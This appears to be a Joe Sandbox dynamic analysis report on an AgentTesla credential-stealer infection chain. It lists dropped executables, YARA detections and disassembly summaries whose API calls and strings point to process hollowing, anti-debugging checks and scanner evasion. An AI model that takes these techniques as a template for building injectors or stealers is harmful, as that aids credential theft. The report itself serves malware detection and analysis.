Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000019.00000002.2459185652.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.2459185652.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000019.00000002.2459185652.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000019.00000002.2459185652.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:55:22
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\server_BTC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\server_BTC.exe"
Imagebase:	0xef0000
File size:	231'936 bytes
MD5 hash:	50D015016F20DA0905FD5B37D7834823
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:55:28
Start date:	12/11/2024
Path:	C:\Users\Public\Libraries\Wisrysxl.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Wisrysxl.PIF"
Imagebase:	0x400000
File size:	1'081'856 bytes
MD5 hash:	31BC6907D6097A76BB1DD891CFC09B7A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:55:29
Start date:	12/11/2024
Path:	C:\Users\Public\Libraries\lxsyrsiW.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\lxsyrsiW.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:55:30
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\neworigin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\neworigin.exe"
Imagebase:	0xed0000
File size:	250'368 bytes
MD5 hash:	D6A4CF0966D24C1EA836BA9A899751E5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001D.00000002.4593833570.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001D.00000002.4593833570.000000000329C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000002.4593833570.0000000003271000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001D.00000002.4593833570.0000000003271000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	09:55:31
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\server_BTC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\server_BTC.exe"
Imagebase:	0x930000
File size:	231'936 bytes
MD5 hash:	50D015016F20DA0905FD5B37D7834823
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:55:36
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe"
Imagebase:	0xf50000
File size:	231'936 bytes
MD5 hash:	50D015016F20DA0905FD5B37D7834823
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	16.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	67.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	25

Executed Functions

Function 02EDF7C8 Relevance: 227.8, APIs: 8, Strings: 117, Instructions: 9071COMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,02EEB784,?,?,?,00000000,00000000), ref: 02EDF801

Part of subcall function 02ED89D0: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,02F4738C,Function_0000662C,00000004,02F4739C,02F4738C,05F5E103,00000040,02F473A0,74F60000,00000000,00000000), ref: 02ED8AAA

Part of subcall function 02EDF6E8: GetModuleHandleW.KERNEL32(KernelBase,?,02EDFAEB,UacInitialize,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,ScanBuffer,02F47380,02EEB7B8,ScanString,02F47380,02EEB7B8,Initialize), ref: 02EDF6EE
Part of subcall function 02EDF6E8: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02EDF700

Part of subcall function 02EDF744: GetModuleHandleW.KERNEL32(KernelBase), ref: 02EDF754
Part of subcall function 02EDF744: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02EDF766
Part of subcall function 02EDF744: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02EDF77D

Part of subcall function 02EC7E5C: GetFileAttributesA.KERNEL32(00000000,?,02EE041F,ScanString,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,ScanString,02F47380,02EEB7B8,UacScan,02F47380,02EEB7B8,UacInitialize), ref: 02EC7E67

Part of subcall function 02ECC364: GetModuleFileNameA.KERNEL32(00000000,?,00000105,0303B8B8,?,02EE0751,ScanBuffer,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,ScanBuffer,02F47380,02EEB7B8,OpenSession), ref: 02ECC37B

Part of subcall function 02EDDD70: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02EDDE40), ref: 02EDDDAB
Part of subcall function 02EDDD70: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02EDDE40), ref: 02EDDDDB
Part of subcall function 02EDDD70: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02EDDDF0
Part of subcall function 02EDDD70: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02EDDE1C
Part of subcall function 02EDDD70: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02EDDE25

Part of subcall function 02EC7E80: GetFileAttributesA.KERNEL32(00000000,?,02EE356F,ScanString,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,ScanBuffer,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,Initialize), ref: 02EC7E8B

Part of subcall function 02EC8048: CreateDirectoryA.KERNEL32(00000000,00000000,?,02EE370D,OpenSession,02F47380,02EEB7B8,ScanString,02F47380,02EEB7B8,Initialize,02F47380,02EEB7B8,ScanString,02F47380,02EEB7B8), ref: 02EC8055

Strings

DllGetClassObject, xrefs: 02EDFB03, 02EE003A, 02EEA115, 02EEADE5
sppc, xrefs: 02EE9E86, 02EE9EB9, 02EE9EEC, 02EE9F1F, 02EEAE2F, 02EEAE62
NtCreateSection, xrefs: 02EEAF4A
GET, xrefs: 02EE2455
SLLoadApplicationPolicies, xrefs: 02EE9F08
NtAlertResumeThread, xrefs: 02EEA611
CryptSIPGetSignedDataMsg, xrefs: 02EDFDFA
NtSetSecurityObject, xrefs: 02EE9276
CreateProcessW, xrefs: 02EEAA0C
ScanString, xrefs: 02EDF962, 02EDFB8D, 02EDFCA2, 02EDFE33, 02EDFFC4, 02EE024D, 02EE038E, 02EE0914, 02EE152C, 02EE16C8, 02EE1B04, 02EE1D1F, 02EE1D9B, 02EE20B8, 02EE23DE, 02EE26A7, 02EE2AE4, 02EE2F15, 02EE3125, 02EE31DB, 02EE34DD, 02EE35FF, 02EE38C0, 02EE55B8, 02EE5752, 02EE5A97, 02EE5E5B, 02EE64F2, 02EE6CD8, 02EE6E4F, 02EE6F07, 02EE7574, 02EE7A0E, 02EE7E75, 02EE8498, 02EE8F3F, 02EE9331, 02EE971A, 02EE9AFB, 02EE9DF9, 02EEA1B4, 02EEA59B, 02EEA792, 02EEAD3C
C:\Users\Public\, xrefs: 02EE5D88, 02EE6FF3
Kernel32, xrefs: 02EEAA02, 02EEAA11, 02EEAA4D
GetProcessMemoryInfo, xrefs: 02EEA148
BCryptRegisterProvider, xrefs: 02EDFF0F
DlpGetArchiveFileTraceInfo, xrefs: 02EEA4B3
VirtualAllocEx, xrefs: 02EEAB0C
DlpGetWebSiteAccess, xrefs: 02EEA4E6
wintrust, xrefs: 02EDFC1A, 02EDFC4D, 02EDFC80
WinHttp.WinHttpRequest.5.1, xrefs: 02EE233C
EtwEventWrite, xrefs: 02EEB148
SetUnhandledExceptionFilter, xrefs: 02EEAC0B
EnumServicesStatusExA, xrefs: 02EEA9D0
SLIsGenuineLocalEx, xrefs: 02EE9ED5
NtQueryDirectoryFile, xrefs: 02EEA994
NtOpenObjectAuditAlarm, xrefs: 02EE9226
NtQuerySystemInformation, xrefs: 02EEA976
LdrGetProcedureAddress, xrefs: 02EEB07C
NtGetWriteWatch, xrefs: 02EEAE7E
NtQueryVirtualMemory, xrefs: 02EEAEB1
C:\\Windows\\System32\\esentutl.exe /y , xrefs: 02EE64AA
psapi, xrefs: 02EEA15F
NtOpenProcess, xrefs: 02EE928A
RtlQueryProcessDebugInformation, xrefs: 02EEA9A3
RtlCreateQueryDebugBuffer, xrefs: 02EEA6DD
mssip32, xrefs: 02EDFDAB, 02EDFDDE, 02EDFE11, 02EEA192
/o, xrefs: 02EE64C0
SxTracerGetThreadContextDebug, xrefs: 02EEA0E2, 02EEADB2
NtWaitForSingleObject, xrefs: 02EEA677
TrustOpenStores, xrefs: 02EDFC03
UacScan, xrefs: 02EDF836, 02EE00D9, 02EE01D1, 02EE07A0, 02EE1386, 02EE1964, 02EE22C6, 02EE29D9, 02EE3C2E, 02EE5B8F, 02EE60FF, 02EE62C4, 02EE65EA, 02EE66F7, 02EE6955, 02EE6A4D, 02EE75F0, 02EE7992, 02EE7BA9, 02EE7D3C, 02EE7F90, 02EE841C, 02EE85A5, 02EE86FE, 02EE88A4, 02EE8A31, 02EE8BC5, 02EE8D44, 02EE8FBB, 02EE9429, 02EE9643, 02EE9824, 02EE99BD, 02EE9BF3, 02EEAA63
NtReadVirtualMemory, xrefs: 02EEAFB0
EnumServicesStatusA, xrefs: 02EEA9B2
C:\Windows\System32\, xrefs: 02EE040A, 02EE796B, 02EE86B3
smartscreenps, xrefs: 02EE0051, 02EE0084, 02EE00B7
CryptSIPVerifyIndirectData, xrefs: 02EDFDC7, 02EEA17B
dbgcore, xrefs: 02EE9253, 02EE9267
WriteVirtualMemory, xrefs: 02EEABA5
advapi32, xrefs: 02EE923F
DllGetActivationFactory, xrefs: 02EE006D
FlushInstructionCache, xrefs: 02EEABD8
NtWriteVirtualMemory, xrefs: 02EEB0AF
ScanBuffer, xrefs: 02EDF9C6, 02EDFD1E, 02EDFF48, 02EE04AF, 02EE05BC, 02EE06D4, 02EE0AA8, 02EE0C46, 02EE0DEC, 02EE0F0C, 02EE10A1, 02EE1199, 02EE1402, 02EE15A8, 02EE1744, 02EE185A, 02EE18E8, 02EE1BFC, 02EE1E9D, 02EE1FAE, 02EE214B, 02EE24F6, 02EE2602, 02EE2820, 02EE293D, 02EE2C58, 02EE2CF9, 02EE2E6D, 02EE302D, 02EE334F, 02EE3719, 02EE39B8, 02EE3ABA, 02EE56B0, 02EE59EA, 02EE5D03, 02EE6083, 02EE63BC, 02EE6666, 02EE686B, 02EE69D1, 02EE6B45, 02EE6BC1, 02EE7764, 02EE77F5, 02EE7C25, 02EE7DB8, 02EE7F14, 02EE800C, 02EE8529, 02EE87F6, 02EE899C, 02EE8B29, 02EE8CBD, 02EE8E3C, 02EE90B3, 02EE91AB, 02EE95C7, 02EE98A0, 02EE9A39, 02EE9C6F, 02EE9D01, 02EEA039, 02EEA3D7, 02EEA906, 02EEB20C
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 02EE098A
BCryptVerifySignature, xrefs: 02EDFEA9, 02EEA2A6
C:\\Users\\Public\\Libraries\\, xrefs: 02EE616F
CryptSIPGetInfo, xrefs: 02EDFD94
EnumServicesStatusExW, xrefs: 02EEA9DF
MiniDumpWriteDump, xrefs: 02EE924E
EnumProcessModules, xrefs: 02EEA9EE
WintrustAddActionID, xrefs: 02EDFC36
HotKey=, xrefs: 02EE6EE1
FindCertsByIssuer, xrefs: 02EDFC69
NtOpenFile, xrefs: 02EEB0E2
UacInitialize, xrefs: 02EDFA8E, 02EE0155, 02EE0898, 02EE553C, 02EE58F2, 02EE5DDF, 02EE78ED, 02EE912F, 02EE954B
VirtualAlloc, xrefs: 02EEAAD9
DlpNotifyPreDragDrop, xrefs: 02EEA44D
VirtualProtect, xrefs: 02EEAB3F
DllRegisterServer, xrefs: 02EDFB54, 02EE00A0
CreateProcessAsUserA, xrefs: 02EEAA1B
OpenSession, xrefs: 02EDF89A, 02EDFA2A, 02EE0312, 02EE0433, 02EE0540, 02EE0658, 02EE0A2C, 02EE0BCA, 02EE0D70, 02EE0E90, 02EE1025, 02EE111D, 02EE130A, 02EE14B0, 02EE17DE, 02EE1A0C, 02EE1B80, 02EE1CA3, 02EE1E21, 02EE21C7, 02EE224A, 02EE2362, 02EE247A, 02EE2586, 02EE27A4, 02EE28C1, 02EE2B60, 02EE2BDC, 02EE2DF1, 02EE2F91, 02EE32D3, 02EE3461, 02EE367B, 02EE3795, 02EE3B36, 02EE5634, 02EE57CE, 02EE596E, 02EE5B13, 02EE5C87, 02EE5ED7, 02EE5F8B, 02EE6248, 02EE6340, 02EE67EF, 02EE6AC9, 02EE6C3D, 02EE6DD3, 02EE6F83, 02EE766C, 02EE7871, 02EE7A8A, 02EE7B2D, 02EE7CC0, 02EE8088, 02EE8324, 02EE8621, 02EE877A, 02EE8920, 02EE8AAD, 02EE8C41, 02EE8DC0, 02EE8EC3, 02EE9037, 02EE92B5, 02EE94A5, 02EE9796, 02EE991C, 02EE9B77, 02EE9D7D, 02EE9F41, 02EEA230, 02EEA2DF, 02EEA51F, 02EEA716, 02EEA80E, 02EEACC0, 02EEB288
/d , xrefs: 02EE64B5
psapi, xrefs: 02EEA9F3
ieproxy, xrefs: 02EDFB14, 02EDFB3B, 02EDFB6B
GetProxyDllInfo, xrefs: 02EDFB2A
SLGetSLIDList, xrefs: 02EE9EA2
NtMapViewOfSection, xrefs: 02EEAF7D
EnumServicesStatusW, xrefs: 02EEA9C1
UacUninitialize, xrefs: 02EE3844, 02EE3BB2
EtwEventWriteEx, xrefs: 02EEB115
kernel32, xrefs: 02EEAAF0, 02EEAB23, 02EEAB56, 02EEAB89, 02EEABBC, 02EEABEF, 02EEAC22
GZmMS1j, xrefs: 02EDF80F
NtAccessCheck, xrefs: 02EEB016
Initialize, xrefs: 02EDF8FE, 02EE081C, 02EE09B0, 02EE0B4E, 02EE0CF4, 02EE0FA9, 02EE164C, 02EE1A88, 02EE1F32, 02EE203C, 02EE2723, 02EE2A55, 02EE2D75, 02EE30A9, 02EE3257, 02EE3583, 02EE393C, 02EE5876, 02EE5C0B, 02EE6007, 02EE61CC, 02EE6438, 02EE656E, 02EE6773, 02EE76E8, 02EE83A0, 02EE93AD, 02EE9FBD, 02EEA35B, 02EEA88A, 02EEAC44, 02EEB190
URL=file:", xrefs: 02EE6D57
[InternetShortcut], xrefs: 02EE6D48
I_QueryTagInformation, xrefs: 02EE923A
bcrypt, xrefs: 02EDFEC0, 02EDFEF3, 02EDFF26, 02EEA2BD
endpointdlp, xrefs: 02EEA464, 02EEA497, 02EEA4CA, 02EEA4FD
NtQuerySecurityObject, xrefs: 02EEAFE3
OpenProcess, xrefs: 02EEAB72
acS, xrefs: 02EE3D02
can, xrefs: 02EE3D15
CreateProcessA, xrefs: 02EEA9FD
ntdll, xrefs: 02EE922B, 02EE927B, 02EE928F, 02EEA628, 02EEA65B, 02EEA68E, 02EEA6C1, 02EEA6F4, 02EEAE95, 02EEAEC8, 02EEAEFB, 02EEAF2E, 02EEAF61, 02EEAF94, 02EEAFC7, 02EEAFFA, 02EEB02D, 02EEB060, 02EEB093, 02EEB0C6, 02EEB0F9, 02EEB12C, 02EEB15F
CreateProcessWithLogonW, xrefs: 02EEAA39
IconIndex=, xrefs: 02EE6DAD
NtQueryInformationThread, xrefs: 02EEAEE4
NtDeviceIoControlFile, xrefs: 02EEA985
DlpCheckIsCloudSyncApp, xrefs: 02EEA480
sppwmi, xrefs: 02EEADFC
Ntdll, xrefs: 02EEA97B, 02EEA98A, 02EEA999, 02EEA9A8
MiniDumpReadDumpStream, xrefs: 02EE9262
SLGetEncryptedPIDEx, xrefs: 02EEAE4B
spp, xrefs: 02EEA0F9, 02EEA12C, 02EEADC9
LdrLoadDll, xrefs: 02EEB049
http, xrefs: 02EE2128
NtOpenSection, xrefs: 02EEAF17
SLGatherMigrationBlob, xrefs: 02EEAE18
MZP, xrefs: 02EE9992
tquery, xrefs: 02EEA0C6
RetailTracerEnable, xrefs: 02EEA0AF
SLGetGenuineInformation, xrefs: 02EE9E6F
BCryptQueryProviderRegistration, xrefs: 02EDFEDC
Advapi, xrefs: 02EEA9B7, 02EEA9C6, 02EEA9D5, 02EEA9E4, 02EEAA20, 02EEAA2F, 02EEAA3E
RtlAllocateHeap, xrefs: 02EEA644, 02EEA6AA
CreateProcessAsUserW, xrefs: 02EEAA2A, 02EEAA48
.url, xrefs: 02EE5D93

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: File$Module$AddressAttributesHandleNamePathProc$CheckCloseCreateDebuggerDirectoryFreeInetInformationLibraryName_OfflineOpenPresentQueryReadRemote
String ID: /d $ /o$.url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\esentutl.exe /y $CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$acS$advapi32$bcrypt$can$dbgcore$endpointdlp$http$ieproxy$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
API String ID: 297057983-2644593349
Opcode ID: bf36680a6ae3f62f36893a674fe0f2a5aca8bc8f52dc34412fa977f01a3f40d1
Instruction ID: 7d20f37c917158f851bfa66a2726ccbdd513986d9f53f69146df7b4435e22cf6
Opcode Fuzzy Hash: bf36680a6ae3f62f36893a674fe0f2a5aca8bc8f52dc34412fa977f01a3f40d1
Instruction Fuzzy Hash: B3140D35A8011D8BDB11FBA4DD91ACE73FAFB85304F60E1A9F4099B654DA30AE52CF41

Function 02ED8D70 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02ED89D0: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,02F4738C,Function_0000662C,00000004,02F4739C,02F4738C,05F5E103,00000040,02F473A0,74F60000,00000000,00000000), ref: 02ED8AAA

Part of subcall function 02ED8788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02ED8814

GetThreadContext.KERNEL32(00000888,02F47424,ScanString,02F473A8,02EDA93C,UacInitialize,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,UacInitialize,02F473A8), ref: 02ED9602

Part of subcall function 02ED8400: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02ED8471

Part of subcall function 02ED8670: NtUnmapViewOfSection.NTDLL(?,?), ref: 02ED86D5

Part of subcall function 02ED7A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02ED7A9F

Part of subcall function 02ED7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02ED7DEC

SetThreadContext.KERNEL32(00000888,02F47424,ScanBuffer,02F473A8,02EDA93C,ScanString,02F473A8,02EDA93C,Initialize,02F473A8,02EDA93C,0000088C,00360FF8,02F474FC,00000004,02F47500), ref: 02EDA317
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000888,00000000,00000888,02F47424,ScanBuffer,02F473A8,02EDA93C,ScanString,02F473A8,02EDA93C,Initialize,02F473A8,02EDA93C,0000088C,00360FF8,02F474FC), ref: 02EDA324

Part of subcall function 02ED894C: LoadLibraryW.KERNEL32(bcrypt,?,00000888,00000000,02F473A8,02EDA587,ScanString,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,Initialize,02F473A8,02EDA93C,UacScan), ref: 02ED8960
Part of subcall function 02ED894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02ED897A
Part of subcall function 02ED894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000888,00000000,02F473A8,02EDA587,ScanString,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,Initialize), ref: 02ED89B6

Strings

sppc, xrefs: 02ED9376
BCryptVerifySignature, xrefs: 02EDA573
MiniDumpWriteDump, xrefs: 02EDA714
OpenSession, xrefs: 02ED8DA9, 02ED91CC, 02ED927E, 02EDA64F, 02EDA795
UacInitialize, xrefs: 02ED9032, 02ED9393, 02ED9512, 02ED9616, 02ED9A12, 02ED9B86, 02EDA330
UacScan, xrefs: 02ED8E73, 02ED908B, 02ED9687, 02ED9A83, 02ED9BF7, 02EDA3A1, 02EDA839
MiniDumpReadDumpStream, xrefs: 02EDA728
Initialize, xrefs: 02ED90EA, 02ED96F8, 02ED987F, 02ED9C68, 02ED9ECA, 02EDA03A, 02EDA1AD, 02EDA412, 02EDA743
NtOpenProcess, xrefs: 02EDA8A3
BCryptRegisterProvider, xrefs: 02EDA59B
NtSetSecurityObject, xrefs: 02EDA88F
SLGetLicenseInformation, xrefs: 02ED935F
advapi32, xrefs: 02EDA705
NtReadVirtualMemory, xrefs: 02EDA620
ntdll, xrefs: 02EDA625, 02EDA639, 02EDA6F1, 02EDA894, 02EDA8A8
bcrypt, xrefs: 02EDA578, 02EDA58C, 02EDA5A0
ScanBuffer, xrefs: 02ED8ECC, 02ED8F54, 02ED92EF, 02ED9404, 02ED94A1, 02ED97DA, 02ED9961, 02ED9AF4, 02ED9CD9, 02ED9DEE, 02ED9FAC, 02EDA11C, 02EDA28F, 02EDA483, 02EDA6A1, 02EDA7E7
NtOpenObjectAuditAlarm, xrefs: 02EDA634, 02EDA6EC
dbgcore, xrefs: 02EDA719, 02EDA72D
I_QueryTagInformation, xrefs: 02EDA700
ScanString, xrefs: 02ED8E02, 02ED8FAD, 02ED915B, 02ED9583, 02ED9769, 02ED98F0, 02ED9D7D, 02ED9F3B, 02EDA0AB, 02EDA21E, 02EDA509, 02EDA5B6
BCryptQueryProviderRegistration, xrefs: 02EDA587

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: LibraryMemoryThreadVirtual$ContextFree$AddressAllocateCreateLoadProcProcessReadResumeSectionUnmapUserViewWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 2388221946-51457883
Opcode ID: 51c906482db7313c316300a12346157aa4ecdab3930fe060ca49ab93b0471afa
Instruction ID: d920d7ae5e2bd51994a036678fbd65929120ccf97fcdc1b0c48b15e42ba82b6d
Opcode Fuzzy Hash: 51c906482db7313c316300a12346157aa4ecdab3930fe060ca49ab93b0471afa
Instruction Fuzzy Hash: 5AE20035A801589BDB11FBA4ED90BCEB3B6AF84300F60E1B5B0499B354DA70AE57CF51

Function 02ED8D6E Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02ED89D0: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,02F4738C,Function_0000662C,00000004,02F4739C,02F4738C,05F5E103,00000040,02F473A0,74F60000,00000000,00000000), ref: 02ED8AAA

Part of subcall function 02ED8788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02ED8814

GetThreadContext.KERNEL32(00000888,02F47424,ScanString,02F473A8,02EDA93C,UacInitialize,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,UacInitialize,02F473A8), ref: 02ED9602

Part of subcall function 02ED8400: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02ED8471

Part of subcall function 02ED8670: NtUnmapViewOfSection.NTDLL(?,?), ref: 02ED86D5

Part of subcall function 02ED7A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02ED7A9F

Strings

sppc, xrefs: 02ED9376
BCryptVerifySignature, xrefs: 02EDA573
MiniDumpWriteDump, xrefs: 02EDA714
OpenSession, xrefs: 02ED8DA9, 02ED91CC, 02ED927E, 02EDA64F, 02EDA795
UacInitialize, xrefs: 02ED9032, 02ED9393, 02ED9512, 02ED9616, 02EDA330
UacScan, xrefs: 02ED8E73, 02ED908B, 02ED9687, 02ED9A83, 02ED9BF7, 02EDA3A1, 02EDA839
MiniDumpReadDumpStream, xrefs: 02EDA728
Initialize, xrefs: 02ED90EA, 02ED96F8, 02ED987F, 02ED9C68, 02ED9ECA, 02EDA03A, 02EDA1AD, 02EDA412, 02EDA743
NtOpenProcess, xrefs: 02EDA8A3
BCryptRegisterProvider, xrefs: 02EDA59B
